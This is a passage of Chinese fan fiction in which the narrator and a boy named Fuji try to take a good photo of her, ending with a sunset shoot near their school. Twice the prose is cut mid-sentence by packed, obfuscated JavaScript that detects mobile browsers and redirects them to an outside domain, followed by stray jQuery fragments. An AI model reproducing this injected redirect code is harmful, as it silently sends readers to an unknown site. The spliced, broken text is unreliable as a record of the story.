在我跑过去看照片的时候,他也忘了要让开点位置;还是我拽着这家伙的胳膊、强行把相机移到自己眼前的。 “呜哇,真的像会主动敲门的鬼一样,”我看得啧啧称奇,“和不二你的笑完全不一样嘛。我还以为刚刚模仿得很成功呢。欸……没想到拍照还挺好玩的。” 听了我的话,不二似乎是清醒了一点。 “藤以前没拍过照片吗?”他问我。 “嗯,阳子不爱拍。老爹也常说做事不留痕……啊!进警局前拍的那种算不算?” 我忽然想起来了。 以前老爹派我们出去从不给路费。他说人只要靠两条腿就能走出路来、靠两只手就能想出办法。 所以我曾因偷警车狂闯红绿灯被抓住过(但这也不怪我,我又没开过车,总得先试试看才知道哪个是油门哪个是刹车)。 当时我身长不足1米,根本够不上警察局的身高表,被负责拍照留档的警察疯狂嘲笑。那两个长相炮灰的家伙问我要100万保护费,我说我没有,他们就决定把我全身的器官都卖掉。 于是我不费吹灰之力就和老爹重逢了。 至于那两个倒霉蛋。他们真的很倒霉,现在说不定已经前往世界各地了。但确实是他们帮我拍了人生中的第一张照片。 我把这个告诉不二。他沉默地给了我一包草莓洋葱鹰嘴豆泥口味的薯片。 看来我们的世界观又发生了一些碰撞。 按照先前的约定,我高高兴兴地吃了起来。 “藤还有什么想拍的样子吗?”不二忽然说,“我都可以帮你拍的。” 我想了想,对他说: “那就先拍我吃这袋薯片的样子吧!不二,这玩意儿好难吃,像穿着女装的坂田银时!” 那天,不二拍了吃到古怪口味薯片的我、被难吃到在地上打滚的我、激情演讲这个世界上所有猎奇零食里面都该塞点纸钞作为赔偿的我以及cos小学生侦探“真相只有一个!”的我…… 我承认,最后一个姿势我其实不太想做,但那会儿我已经想不出别的动作了。 每张照片不二都拍得超级认真(上次见他这副样子,还是刚开学在天台上遇见那会儿)。他好像是想尽量把我拍得好看点,结果却是每张都丑得千奇百怪不成人形,说是刚刚降临地球的邪恶外星人也不为过。这似乎对他造成了不小的打击。 “……” 栗发少年一声不吭,不断变换着拍摄的角度和距离。看那蹙眉苦思的忧郁神态,简直如同一只美丽的垂死的天鹅在烧红的铁板上起舞。 我看得又愧疚又有点饿。 “等等、不二,现在你只是在勉强自己帮我拍照吧?快停下,再这样下去你会变成笨蛋的。” 而他面带黑气深沉喃喃:“果然,数码相机还是不太适合拍人像特写吗?毕竟使用的是28mm的镜头……” “快停下,不要再怀疑人生了,这样我也会有心理负担的。” “……” 他停下了。虽说还是一脸被打断的茫然表情。 我正准备谴责他不听我说话,就见这家伙苦笑着对我说: “…藤?抱歉,牵扯到摄影,好像一个不注意就有点在意过头了……对不起,让你担心了。” 我:原来这家伙走神的时候也能听见别人说话啊。 算了,长这么好看还这么有礼貌。 原谅他了。 “没关系。这不是你的问题,也不是相机的问题。”我告诉他,“当然,也不能完全算作是我的问题。通过刚刚那些照片我已经明白了——其实我不太会对着镜头摆表情啦。不二,你应该早就已经注意到了吧?” “唔…但这也是藤的特色,我是这么认为的。”他眯着眼睛,仍然十分苦恼,“肉眼看的话明明很可爱,姿势也很新奇……为什么会拍不出来呢?果然、摄影也是有其极限存在的吗……?” 那散发着黑气的消沉模样,说这家伙是刚刚发现了“生命、宇宙以及一切问题的答案全部、全部、全部都是42”也不为过。 “…等等,你先不要一脸世界快要完蛋的表情好不好。”我吐槽,“冷静下来、再重新帮我拍一张吧。这次我会好好按照你的说明来的。” “欸?” “因为我不太会摆表情嘛。但不二你肯定也有应对这种情况的经验吧?”我懒洋洋看着他,“先说好,我是不太喜欢被人指导着做事的。所以接下来这张就作为今天你帮我拍了这么多照片的‘代价’,没问题吧?” 不二没说话。但他此刻的表情就好像在说:非常有问题。 虽然大部分时间看着都很好说话,但有时候这家伙也是有点犟脾气在身上的。 可恶,但我其实也很想看看正常状态下的我在照片上会是什么样子呀! 我朝他一昂下巴:“没问题吧!” 不二又看了看我,紧蹙着的眉头忽然一松。 只见他眯着眼睛、非常无奈地说:“我知道了。” -- 第二天,不二把之前拍摄的照片全都打印出来送我了。 一时间,我就像被数不胜数的宝藏淹没一样快乐。而他笑眯眯地看着我,看起来也总算是从昨天的失态中复原了。 “呜哇!这下得做本摄影集才行了!”虽然长得不像我,但毕竟都是我。既然都是我,我就要全部好好珍藏。 “嗯,那样也不错啊。”栗发少年一如既往地捧场,只是在我立即掏出一本空白相册的时候惊讶地睁开了双眼——晶莹剔透的冰蓝色眼眸,仿佛倒映着北海道的天空。不管看多少次都觉得真好看啊。 “这个是……?” “其实昨天看你离开天台时的表情我就猜到了,”我告诉他,“当时一副超懊恼的样子呢。” “…能看出来吗?”他有点无奈地问。 “超明显的。”我毫不留情地奚落不二,“但不是用看的,光气场就超明显。昨天你有点被失败感冲昏头脑了吧?” “抱歉,”他不无苦恼地承认了,“唔、但是,我还是第一次遇见这样的情况……” 他的思绪好像又飞去火星了。 多半是又在想一堆符合摄影宅身份的东西。 先随这家伙琢磨去吧。 我挑出昨天拍的最后一张照片,是在不二的指引下的完成的。他没让我看镜头,而是看着远处的树木。也不知道是不是这个原因,表情和动作确实都非常自然。 照片上的女孩扎着服服帖帖的马尾,穿着规规矩矩的校服。阳光柔和地洒在她身上,简直美好极了。阳子要是看到,肯定会很喜欢。 “如果说这张是正常人类,”我边说边拎起厚厚的另一沓,诚实地评价道,“那这些简直全部都是怪物还有灵异照片嘛。”也就模仿柯南那张还算有点人样。 “但肉眼看上去并不是这样。”不二立即告诉我,像是担心我会因为这些照片陷入自我怀疑。 只是这么一来,就相当于要他间接承认是自己的拍摄技术有问题。我看这对他来说也不是件轻易的事。但他却还是这么做了。这家伙真的有点温柔过头了。 “我知道的啦。”我懒洋洋地说,“我是了不得的美少女来着的嘛。” 准确的说,是世界级美少女。我超好看的。每次遇到镜子或者能反光的东西我都会照一下,对自己我没有一个地方不满意。 但同时,我也深知人性的缺陷:假如照实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209631|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说自己是世界级美少女,那听的人多半是要下意识挑一些缺点,来印证我根本够不上世界级。 所以对外我一般只说自己是美少女,这是一种谦虚的表达。实际看到我的人马上就会想:这家伙绝不只是一个普通的美少女那么简单。 对此,不二露出一个清浅的微笑。尽管没发表任何言论,但从他的笑容就能知道,他也觉得我是了不得的美少女。 ……话又说回来,笑得真好看啊。这家伙简直够得上宇宙级。 “但是啊,不二,这张照片虽然拍得很好看,但看久了不会觉得有点无聊吗?里面的人像那种说话声音很小的家伙,可我说话明明超响亮的。”我先是向他展示那张正常的照片,又随手拿起在地上打滚的那张。 “这张虽然吓人,就好像人皮从脸上慢慢融化着要掉下来一样,但仔细看也还挺有趣的吧?” “藤的意思是…?”他只愣了不到1秒就反应过来,“嗯…两边都不是那么准确吗?” 本来我是这么想的。但听他一说,我忽然又产生了新的想法。 “不,既然拍的都是我,那就都是‘我’。说不定我身上也存在丑陋恐怖的一面、说话声音很小的一面以及有点无聊的一面。毕竟人是很复杂的吧?但是,总体上来说——” 我把两张照片放在脸颊两侧,方便他看得更清楚点。 “总体上,我明明又好看又有趣才对吧?一眼看过去的话,又好看又有趣的才是我吧?对吧对吧?” “…确实是这样。”他像是被我逗笑了一样,笑眯眯望着我的眼睛说,“好看又有趣,这才是藤啊。” 我:“……?” 这家伙好像有哪跟平常不太一样。笑容忽然灿烂得像是在沙滩上捡到了小小寄居蟹的小孩子。 莫名其妙的,我们陷入一种非常古怪的对视。 我看着他,他看着我,然后我又继续看着他—— 很奇怪,昨天看不二怀疑人生的样子,我还觉得很没必要。但今天看他平静下来,忽然就又有点想再逗逗这家伙了。 “不二,你拍什么都很好看,唯独拍我很丑。你心里会很在意这件事吗?”我坏笑着问他。 而他愣了愣,竟然很大方地点了点头:“嗯,说不定比藤想得还要在意。”只不过说话时又带着轻松笑意,反而让人有点摸不清这家伙在意的程度。 “完美主义?” “或许也是一方面。”不二用一种谦逊的语气接话,“但是……” 他奇异地顿了顿,然后笑着告诉我:“我很想拍到藤最真实的样子。我想更多是这个原因。” “…咦?”吓人。一瞬间坦率得都不像他了。 “…‘如果有人能拍出真实的藤,希望那个人是我’,我好像是这么想的。”不二忍俊不禁,拿手抵住下巴,“昨晚这个念头忽然冒出来,也吓了我一大跳呢。” “…哈?”话说昨天中午的事,一直到晚上还在想,他到底是有多在意啊? “所以,可以再多给我一点拍摄藤的机会吗?”在我还忙着吐槽的时候,少年已经默默把流程往前推进了一步,还一副不忘和我确认的贴心相。 “咦?呃…随你便吧。” “那么——” 不知是从哪个异次元口袋里,不二笑眯眯地掏出又一台相机。漆黑的,闪闪发亮的,看上去和昨天的袖珍型根本不在一个级别,就算拿着去非洲大草原上拍狮子也不会有任何违和感。给我慢着、这家伙究竟有多少台相机!? “你这明显就是不服输的意思吧!?”我终于反应过来了。 “嗯,现在的表情也很生动呢。”不二像佛祖一样微笑夸赞着我,“藤,看这里——” “唔喔!” 我立即配合着比了个“耶”。 “……” “怎么样?” “嗨,再一次!”少年若无其事地弯起眼睛。 “慢着、不二!你这副样子真吓人——唔喔!!”我又配合着比了个“耶”。 “怎么样怎么样?” 这次不给他若无其事的机会,我直接嗖嗖嗖跑到他旁边,扒住他手臂往屏幕上凑。 “……这不是举爪咆哮的霸王龙吗?” “……” 不二弯起的眼睛和挺直的鼻子间出现一团深重黑影,背景也变成布满扭曲漩涡的深紫色了。 “越来越有趣了啊,这个挑战。” 他沉声说。 “…你果然只是在找乐子而已吧!?” 我翻了个白眼,把他的手推到了一边。 9.第9章 有一天,我看了四十四次日落!* -- 不二换了很多相机,为我拍了很多照片。 很快,我的相册就集了个半满。只要拿在手中,像翻书那样快速翻阅,就会散发出《世界奇妙物语》那样的谜之气场。 “…虽然有时确实会因为各种原因造成失真,但和现实相差到这种程度,简直是不可思议事件呐……” 有时我都觉得不二对这件事的执着已经超出摄影范畴、朝着灵异探索的方向去了。 “是吧。”我拎起一张脸部出现三重重影、乍一看像是侧脸也长出两排嘴巴和牙齿的照片欣赏,“嗯,这张多半是今日最佳。” “…难道说,”栗发少年忽然开口,带着点深沉的神秘气息,像是有了个绝妙的猜想,“这是一种超能力吗?” “……” 我沉默着看了看他。 并不是奚落嘲讽,这家伙竟然是在认真的怀疑这个。 我无语了:“不,我才没有这么废的超能力呢。” “唔…但是有超能力,本身就是相当厉害的一件事吧?” 不二一脸专心的把自己的思路岔出去了。 然后,正如一辆车追尾就容易造成连环追尾一样,我也跟着岔出去了。 “也不能一概而论吧。那…比方说,可以复活蟑螂的超能力,这种也叫厉害吗?” 他慎重地想了想。 “也不错啊……” “…哪里不错了。你只是想要有超能力而已吧。” 我看穿这家伙了。 同一时间,两只白鸟彼此追逐嬉戏着飞过天空。我又举起一张相片,懒洋洋地对着阳光检视。 “那、果然还是存在其它原因吗……”不二严肃地支着下巴,丝滑跳回了先前关于拍照的思考——我对这种跳来跳去前言不搭后语的对话早已经习以为常了——就算隔了这么远,我也能听见他那个藏着黑洞的大脑哒哒哒哒转动的声音。 “啊,这张也不错嘛。”我说,“像是要把云和太阳都吃掉一样。” 总之,再拍一张照的事成为了我们之间的共识。 不光要好看,还得百分之百彰显出我的特质。这可不是轻易就能做到的。 事情的转机出现在某个平凡的金曜日。 当不二读到“‘我喜欢日落。我们去看日落吧……’*”的时候,一道灵感的闪光穿透了我的大脑。 我:“…啊。” 他也停了下来。不知道是因为听见了我的声音,还是同样心有所感。总之少年顿了顿,然后也用相似的语气轻轻“啊”了一声。 “就是这个吧……?”我轻声问。 “…确实,考虑到变量的话……”他慢我一步,眯着眼睛、细致地思量着。 “绝对就是这个啊!”我已经确信了,“我终于知道这些照片是哪里不对了——不二,出问题的既不是你的技术和设备也不是我,而是时间才对吧?一天之中有十几个小时都是白天,所以白天很无聊吧?但我并不是那种无聊的人吧——我可是这个世界上唯一的超能力者啊!要想拍出这么特别的我,当然也要选一天当中最特别的时间了!” “原来如此……”不二轻笑一声,立即跟上了我的思路。 “嗯嗯!虽说日出的时候说不定也可以,但我起不来——所以不二,我们去看日落吧!日落的时候一定能拍出好照片来!” 我眼睛亮晶晶地盯着他看。 少年先是迟疑,而后神色渐渐松动。 我觉得他心动了。 “唔,但是这周末的话,网球部有全天集训……”不二有点苦恼地思索着。 “谁说周末了?今天放学就去嘛。”我说,“周末我也有其它事要做的。” 他听完更加不好意思:“…日常的部活差不多也要到7点结束…下周末怎么样呢?” 我:“这答案也就比下个世纪好点吧。” 对于特别想做的事,我一向是立刻就去做的。 用比较正经的话来说,“想要去做”这种心情就像借高//利//贷一样,拖得越久越糟糕。 因为期待感和不断描摹的想象会像利息一样越滚越大,很快超越实际去做时的满足感。这样一来,所有体验都会大打折扣。 我把这个告诉给不二。他乐呵呵地附和道:“那可就不妙了……藤总是能想到些不可思议的形容呢。” 然后这家伙就在这个极其微妙的当口停下了,既不接话说今天去,也不说些“抱歉,果然还是得下周”的推脱,只摆出一副淡定等待的笑容来。 我想他多半是早已经被我说动了。现在之所以不发表意见,只不过是想再多听我说说话。因为他特别喜欢听我说话。 不二,这个天真的家伙,以为我看不出他耍弄的小花招么? 但其实正中我下怀。因为我本来就还有好多话想要说! “还有更可怕的,”我像分享秘密一样恐吓他,“但凡是能用语言说出来的约定,只要一拖就会变得像死亡flag。” “什么意思?” “假设你在看一部电视剧。里面的B对A说,‘7天后,我们一起去看日落吧。’”我竖起右手食指,“不二,看到这你会有什么感觉?” “欸…我对电视剧没什么兴趣呐……” 他一脸既为难又温柔还掺点乐在其中的复杂笑容。 “重点是这个吗?”我生气了,“那就小说——算了,不二,你还是不要说话了!像这种时候绝对会觉得很不妙吧?‘这两个人7天后绝对没法顺利看到日落’,一般来说就会是这样的展开吧?” 光是想想就会让人觉得不幸将临了。 “唔、也就是说,如果拖到7天后,我或者藤就会发生意外吗?” 这家伙的表情忽然变得有点担忧,同时掺杂一丝并不令人讨厌的做作。 我恨铁不成钢:“当然不是了!” 我是肯定不会死的。在这个基础上,我也不希望不二出什么事。 那么,实际上会发生什么意外呢? “——太阳说不定会爆炸吧。” 我说。 话音刚落,就见不二快速地低了一下头,脸被垂落的浅栗色发丝挡了个正着;双肩也跟着抖了抖,又被他强行支撑住了。 “…你在偷笑吗?”我怀疑 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既然已经决定了今天要去看日落,就怎么都看得成。 “……” 我看着不二,他也看着我。 沉默中,有些对话已经被我们提前预演了一遍。 已知:学校的放学时间是3点10分,网球部的部活结束时间基本在6点50到7点之间;日落差不多在7点05分。 那答案不是显而易见吗? 我:“不二,退出社团吧!” 他:“嗯、这个不行。” “…切,你根本爱死网球了嘛。”我说,“没办法,那换我等你好了。” 不二没有立刻答应,这次的迟疑倒没掺杂虚假。我想他多半是不喜欢让别人专门等他的那种人。 但他该不会以为我会白白等他吧? “我没怎么等过人,更没试过特意花4个小时等一个人。但想也知道,这一定不是什么好受的事,”我立即告诉他,“所以你必须付出代价。至于什么样的代价我还没想好,因为我不知道我会不会等得很难受。如果太难受,我多半会直接走掉;但如果只有一点点无聊,那么我可以靠思考要让你付出什么代价来度过去。没问题吧?” “……” 不二望着我愣神。 “吓到了吗?”我一歪头。 他笑着摇了摇头:“…不,是感动到了。要怎么形容呢……听藤这么说的时候,胸口好像涌入一股不可思议的暖流,就像早春看见抽芽的新枝一样。” 我:“听起来好像有点恶心啊。”被索要一张空头支票还能这么开心,这人果然是个笨蛋吧。 “欸……?” 不二露出了有点受伤的神情;原本清清爽爽的眉目,一瞬间如不适宜的节气、花枝坠入小河中。 也太好看了吧。 我立马聚精会神地欣赏起来。 “……” 他似乎没料到我会是这么个反应,当下蹙起眉心,总算苦恼得有些真心实意了。 10.第10章 下午的时间过得飞快。 好像只是一眨眼,老师就从严肃地站上讲台变成了轻松地收拾东西离开。 放学后,我留在教室抄作业,内心感到非常充实。 我一边想:“网球部毕竟是这个世界的运动社团,不就是4个小时的训练时间吗?反正用这段时间想个最能为难不二的‘代价’就对了”,一边觉得自己真是个有耐心又宽容的好人。 然后每一科的作业都抄完了。教室里也基本不剩什么人。 我掏出手机,开始在搜索引擎里面输入摄影技巧、日落、为难天然电波系的一百种方法等诸多词汇。错别字应该是有一些,所以跳出了很多奇奇怪怪的页面,我就挑挑拣拣地看着。 “……” 然后我晕字了。 然后我望着窗外发呆。 然后值日生跟我说:“藤同学,我要锁门咯?你要回家吗?”我摇摇头,去了校门口。 然后我蹲下来开始数蚂蚁。 等待期间,我眼睁睁看着它们推举了三任女王,建立了一千八百八十八个王国,完成了对于自然界来说了不得的伟业。 “……” 然后我开始思考人类灭绝的事。 陆陆续续的,开始有其它社团的学生离开学校。所有人经过我时都会投来好奇的目光,我也平等的一一看了回去。 然后没人了。 整所学校应该只剩一个社团还在坚守。 天色越来越明亮,依稀已经有几朵云染上了淡淡的橘色。阳光从六楼下移到二楼,再慢慢的拉长到我脚边。 然后我想:该死的网球部,每天训练4小时是准备去打奥林匹克吗?他们以后最好是有人能登上世界的舞台。 要不还是一个人去算了。 期间我当然是也有不止一次的这么想过。 “……” 然后我托着腮,继续蹲着看蚂蚁们传宗接代。 然后——终于,背后传来了急促的脚步声。好像不用回头就能知道是谁。 我一下蹦了起来,果然看到了穿着校服、背着大大的网球包的不二。一看到我,他先是一顿,接着便加快速度、朝我小跑过来。 我看着他,总觉得哪里有点怪。 明明只是比平常多了件装备,但这家伙一下子帅得有点莫名其妙的;朝我跑过来的时候,清爽和畅快程度都飞跃了不止一个等级,像从720p升级成了4k。 “抱歉、等很久了吗?” 等他跑近了我才明白过来为什么——这家伙浑身散发出一股淡淡的柠檬沐浴露的香味,竟然好像是洗了个澡才过来的! 我顿时震惊地瞪着他:“好慢!” 见状,浅栗色头发的温柔少年嘴唇翕动,似乎又要表达歉意。 但现在哪还有做这个的时间?我扑过去一把抓住他手腕,身体侧旋、朝校门外跑去。 我跑得超级超级快。 余光只来得及瞥见不二因吃惊而睁开的冰蓝色眼睛。竟然还有空吃惊,真是个有余裕的家伙。 我脑中登时冒出了他在超豪华的有喷泉的罗马浴场悠闲泡汤的景象。脑袋上顶一块雪白的毛巾,浅栗色的头发湿漉漉的,露出的肩膀和锁骨比毛巾更白。还怪美好的咧。这让我胸口的怒火被短暂的扑灭了一下,然后烧得更旺了。 “藤……?”他多半是感受到我的不爽了。 “闭嘴!”要是岔气了我还得把他扛起来跑。万一引来警察的注意怎么办? “……” 他闭嘴了。 我拉着不二一路往车站的方向狂奔。 太阳悬在天上,乍一看很安全,又似乎随时都会掉下来,所以我们也像是追逐着日光奔跑;风擦过双颊,发出“呼、呼”的响动。 凭借着过人的眼力,我带他丝滑穿过几个濒临闪烁的绿灯,又飞快通过熙熙攘攘的街道。 途中遇到一段很陡峭的台阶,超超超级长,从底下往上看就像人生一样难。于是我拽着不二,嗖嗖嗖蹿了上去。 最终,我们停在一条人烟稀少、仿佛散发出粉紫色的安宁气息的坡道。 这地方是不二找的。我告诉他不想在学校拍照,因为我压根不是自己乐意上学的。然后他就提议这,一是离学校近,二是地势高又没什么遮挡,拍夕阳会很漂亮。 果然是还不错。 我望着干净的坡道,以及更远处一望无际的天空(太阳还好端端的挂在上面,看来离落下还有段时间),心里面满意了一点。 转身的时候,原本以为会看见一个撑着膝盖、累得气喘吁吁的不二。毕竟他看起来体力就不是很好的样子,何况才刚经历过4小时的社团活动、又背着那么大一个网球包。 但没想到这家伙相当平稳地维持着站姿,气息一点没乱;只是尽管弯着眼睛,神情却有一丝微妙。顺着他注视的方向,我的目光落在他被我紧紧抓着的手腕上。 “啊、这时候是不是应该像被烫到那样害羞地松开比较好?”我面无表情问不二。 “…那样好像有点刻意。”他配合着说,神态很随和,语气却带着点审慎,“呐,藤,你在生气吗?” 少年皮肤上还残留着些微湿热的水汽,触感光滑得像刚出生的小婴儿一样。我松开他,冷冷说: “要是换成是你在校门口傻站着等我,等到都开始思考人类灭绝的事了!然后忽然间,一个刚洗过澡、浑身散发出柠檬香味的我朝你跑过来,难道你会很开心吗?” “……” 不二露出了很微妙的表情。 那表情好像是在说:他确实会挺开心的。 于是我知道:假如换作不二等我,他等多久都不会生气的——就算我没有社团活动,单纯花上2个小时洗澡、1个小时吹头发、再花1个小时睡大觉,然后打着哈欠慢慢悠悠的朝他走过去,他也不会生气的。 我更气了。 “哼,反正你一定是好好享受了个热水浴吧。”在我蹲着靠数蚂蚁打发时间的时候。 闻言,不二终于露出了明了的表情。但就算明白也没用。这种时候最可能做出的行为是道歉,比如说“抱歉,我不是故意的”或者“抱歉,你误会了”之类的。 我最讨厌这种道歉方式了,看似解释了情况,实则是又把压力推回给我。他最好是什么也别说。 “藤,抱歉——” 看吧。 我顿时把目光从不二身上移开了。 “可以稍稍听我说明原因吗?事实上,我每次训练完样子都会很狼狈……”栗发少年顿了顿,严肃又果断地轻声说,“嗯,就像爬楼梯的荒野女巫一样。” …什么玩意儿? 我忍不住又把视线移回去了。 “那是什么东西?” “就是哈尔的……”见我还是一脸茫然,他没继续说,而是直接用手机搜出图片来给我看,“就像是这样。” 一看到那张图我就笑了。 “笨蛋,人类才不会长成这样呢!” “是真的。” “不二,你真的会流那么多汗吗?那么多?” 他有点不好意思地笑笑:“嗯、我确实是易汗体质呐……” “那你的下巴也会变成五层肉山吗?” “有六层也说不准。”他在那边笑眯眯地胡说八道。 “骗人,这么一说反而让人想看看了!” “欸?那下次就要维持着吓人的样子从网球场走到校门口了。头痛了啊……”他佯装迟疑。 “……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247198|179615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可恶。我觉得我的气被这些搞笑的对话一句一句抽出来卸掉了。 这么一来,一些先前没注意的细节挨个在心头浮现。就比如说:刚刚这家伙朝我跑过来的时候,发尖还挂着没来得及擦干的水珠,好像确实不像是慢条斯理洗了个澡的样子……糟糕。 “…你真的没有在那种罗马大浴场一样的地方悠闲泡汤吗?”我问他。 不二笑了(我猜他脑子里出现了和我之前一样的想象),“绝对没有。”他用柔和妥帖的嗓音向我保证。 “只是冲了个超级快的澡吗?”我苦着脸问,“就像回转寿司店的出餐速度一样快的那种吗?” “…大概也没有那么快。”他微笑着想了想,“唔…应该就和回转寿司店的拉面制作速度差不多吧。” 严谨过头了吧这个估算。 接着又听他道: “因为不想被藤看到那副样子,结果反而忽略一直等在校门口的藤的感受了……”说着,少年脸上现出真诚的愧疚,“抱歉,你一定等得很辛苦吧?” 一时间,我觉得我的五官都要从脸上融化了。一股不可思议的柔软包裹住我的心脏。 “我比想象中还要讨厌等人。”趁着这股势头,我一股脑告诉他,“等人的时候神经会变得紧张。我感觉很不好,以后再也不要等人了。” “抱歉。”他也告诉我,“下次换我来等,不会再让藤有那种糟糕的感觉了。可以原谅我吗?” “…原谅你了。”我顿了顿。 “还有,刚刚是我判断失误了,应该再多问你两句的…对不起啦,不二。” 他露出了略显惊喜的笑容。 “…这笑法算怎么回事?”我立即恼羞成怒地弓起背,“你是看到奇迹了吗?不二,你觉得我道歉是奇迹般的事件吗?!” “不,该怎么说呢……”这家伙先是礼节性的否定、然后经过一番思考、最后一脸纯良地抬起头,“好像确实是看到‘奇迹’的感觉呐。” 我:“唔啊啊啊啊!” 而他挑准时机,笑眯眯的主动问道: “那么…接下来要握手吗?” 说是这么说,他却没有直接伸出手来,看来是把决定权交给了我。 不二,审慎又贴心的家伙。 我看了看他,然后干脆利落的伸出手:“来吧!” 再一次的,我们的手交握在一起。 或许是因为已经知道了不二手掌的触感,这次再被那层薄茧擦过时,虽然还是觉得痒,但我没再像先前那样感到怪异了,反而有种“果然如此”的感觉。我想他也是一样。 我们手掌上下甩动的幅度也没有上回那么大了,甚至有点随意,看来我们对这件事都变得熟练和习惯了一点。 1秒、2秒…松开。 然后我和不二再次像傻瓜一样面面相觑。还是他先笑起来,声音很轻快: “是因为现在在校外吗?总觉得和在天台时候的感觉不太一样。” “比上次时间长。”我严谨地说。 “大概有2秒左右呐……”不二也说。原来他也在心里数了啊。 “嗯,毕竟是两人份的道歉仪式嘛。但超过2秒不就变成牵手了么…啊!太阳落山了吗?”我猛猛回过头。一聊起来就忘记时间了。 “还没,但应该快了。”不二用安抚般的语气说,“多亏藤刚刚带着我一路飞奔过来。你跑得相当快呢,好厉害,吓了我一跳。” “…那你倒是做出被吓到的样子来啊。”吐槽完他,我得意地昂起下巴,“哼,也就用了我十分之一不到的实力吧……” 我又开心起来了。 虽说现在还是在等待(只不过等待的对象从不二换成了太阳),但两个人一起等的话,时间没有那么难捱。 11.第11章 太阳又往云层里沉了一点点。 不二从包里掏出相机开始调适。又是一台我没见过的装备,和先前的都不一样,无论是造型还是质感,都莫名散发出一股古董的气息。 正上方还有个凸起来的圆圆的东西,不二说那叫取景器;我说这玩意儿长得跟颗外置眼球一样,他听完笑了超级久。 总之,少年熟稔地捣鼓着,时不时让我站到某个地方去,拿相机对准我,却又不进行拍摄。 没过多久,他就用轻松的语调说“可以了”。 “不二,我头发乱了吗?”我问他。 他看了一眼,说:“没有。” 于是我解开发绳,兴高采烈的把它们又弄乱了点。 “现在呢?” 一缕蜷曲的红发垂到脸前,挡住了视线,我“呼”的把它吹到了一边。 这回不二轻笑了一声,说:“乱了。” 现在透过一片影影绰绰的红色依稀看到的少年身影,有点像是在天台初见面时的视角。不知道他是不是也想到了当时的状况,视线时不时追逐着我乱飞的头发,笑容变得相当柔软。 “待会儿要摆什么样的表情和动作才好呢?” “嗯…刻意设计的话反而不自然,”他温和地说,“现在还有时间,再来聊聊天吧。” “要聊什么呢?”我来了兴致。 通过在教室的一通搜索,我已经知道这是一种拍摄技巧了。可以帮助摄影师捕捉到更真实的神态变化什么的。 “不二,你知道吗?只要在拍照的时候竖起中指,就能露出超级自然的笑容来。” “……” 他沉默了。尽管还是在笑,但眉毛变成了无奈的倒八字。 “藤要对着我做那个手势吗?” “咦?重点是这个吗?” 说完,我就感觉思绪正被他牵着跑,于是不甘示弱地重启话题。 “那么不二,你知道地球总共经历过多少次日落吗?” “有多少次呢?” “据说有1.5万亿次那么多。然后,你知道人的一生会经历多少次日落吗?” “唔…和地球比,应该是相当渺小的数字吧。”他笑着低声说。 “嗯,以寿命为90岁计算的话,好像是32850次那么多。” 这也是我在教室闲着无聊搜到的,数字是乱记的,说不定会说错。大意是人生只有三万场日落,所以要珍惜和人共度的时间巴拉巴拉的。 我是一点不理解这种酸话。 非要说的话,虽然我清楚人终有一死,但我基本没想过这种事会发生在自己身上。 毕竟我都死过一次了,难道还能再死第二次吗? 我觉得我会永远活下去。作为世界和宇宙的主角。 说不定我会一直活到人类长出八颗脑袋使用光剑彼此厮杀的黑暗纪元。每当被认出并惊呼“难道说、您就是那个旧时代留存的最后一人!?”的时候,我就会冷冷摘下兜帽,享受所有人倒抽八口凉气的声音。 那样也太酷了吧。 我忍不住乐开了花。 不二也跟着发出一声轻笑,似乎是趁机按下了快门。 那个外置眼球一样的取景器、连带着古董相机一起,把他的大半张脸都挡住了。尽管只能看见他虚眯起的一边眼睛,但我觉得他现在相当开心,就像是被我散发出的喜悦感染了一样。 可怕。说他比常人多长几百个神经末梢可不是开玩笑的。 我想不二说不定会被什么人生不过三万场日落的说法触动。但他并不是那种不挑时间地点胡乱升华感慨、发表人生见解的家伙。 果然,面对我报出的那串数字,他是这么接话的: “欸……该说是漫长还是短暂呢?” “当然是短暂了。”我毫不犹豫,“地球可是经历了1.5万亿次呢!” 栗发少年笑起来,并没有和我争论这个,而是问: “说起来,藤以前有看过日落吗?” 我简单回忆了一下,说: “没有吧。太阳下山这种时间段当然是有遇到过,因为云朵被染得很好看所以暂时停下脚步的时候也有。但我从来没有专门为这个花费过时间——只有专门花过时间才能算‘看过’吧。不二呢?” “以前有拍过日落时分的街景,”他用一种徐徐的、仿佛正回忆美好事物的愉快语气答道,“是很不可思议的时刻呢,万事万物都会流露出与白天不同的一面。” “比如说呢?” “比方说…时常给人留下清新印象的植物,日落的时候会变成暗金色,反而容易拍出内敛低沉的质感。还有…表面全是一块块玻璃的写字楼,白天看不是会有点吓人么?”说着,他顿了顿,像是在想要不要解释这里为什么说吓人。 “啊!我懂!”我说,“太光滑了对吧?有种迟早会被外星人激光射中的感觉!” 不二顿时弯起眼睛,像被人挠痒痒一样笑了起来: “嗯!但是夕照最强烈的时候,玻璃的拼接处就看不到了。金色的天空和云彩倒映在上面,找到角度的话,拍出来就好像平静的海面一样。” “不二,你拍过那样的照片吗?”我有点想看看了。 少年点点头:“下周带给你看。” “那么人的神态呢?肯定和白天也很不一样了。”我继续说,“比如小学生,早晨上学的时候有多难过,这时候一定就有多开心了。” “确实是这样呐…上班族的话,男性几乎每个都会驼着背,像这样稍微弓起一点的弧度。女性虽然也会显露疲倦,但是反而不会有这种明显的共性呢……” “就那种快死的螃蟹一样的感觉对吧?”我说,“上班是这样的啦。” 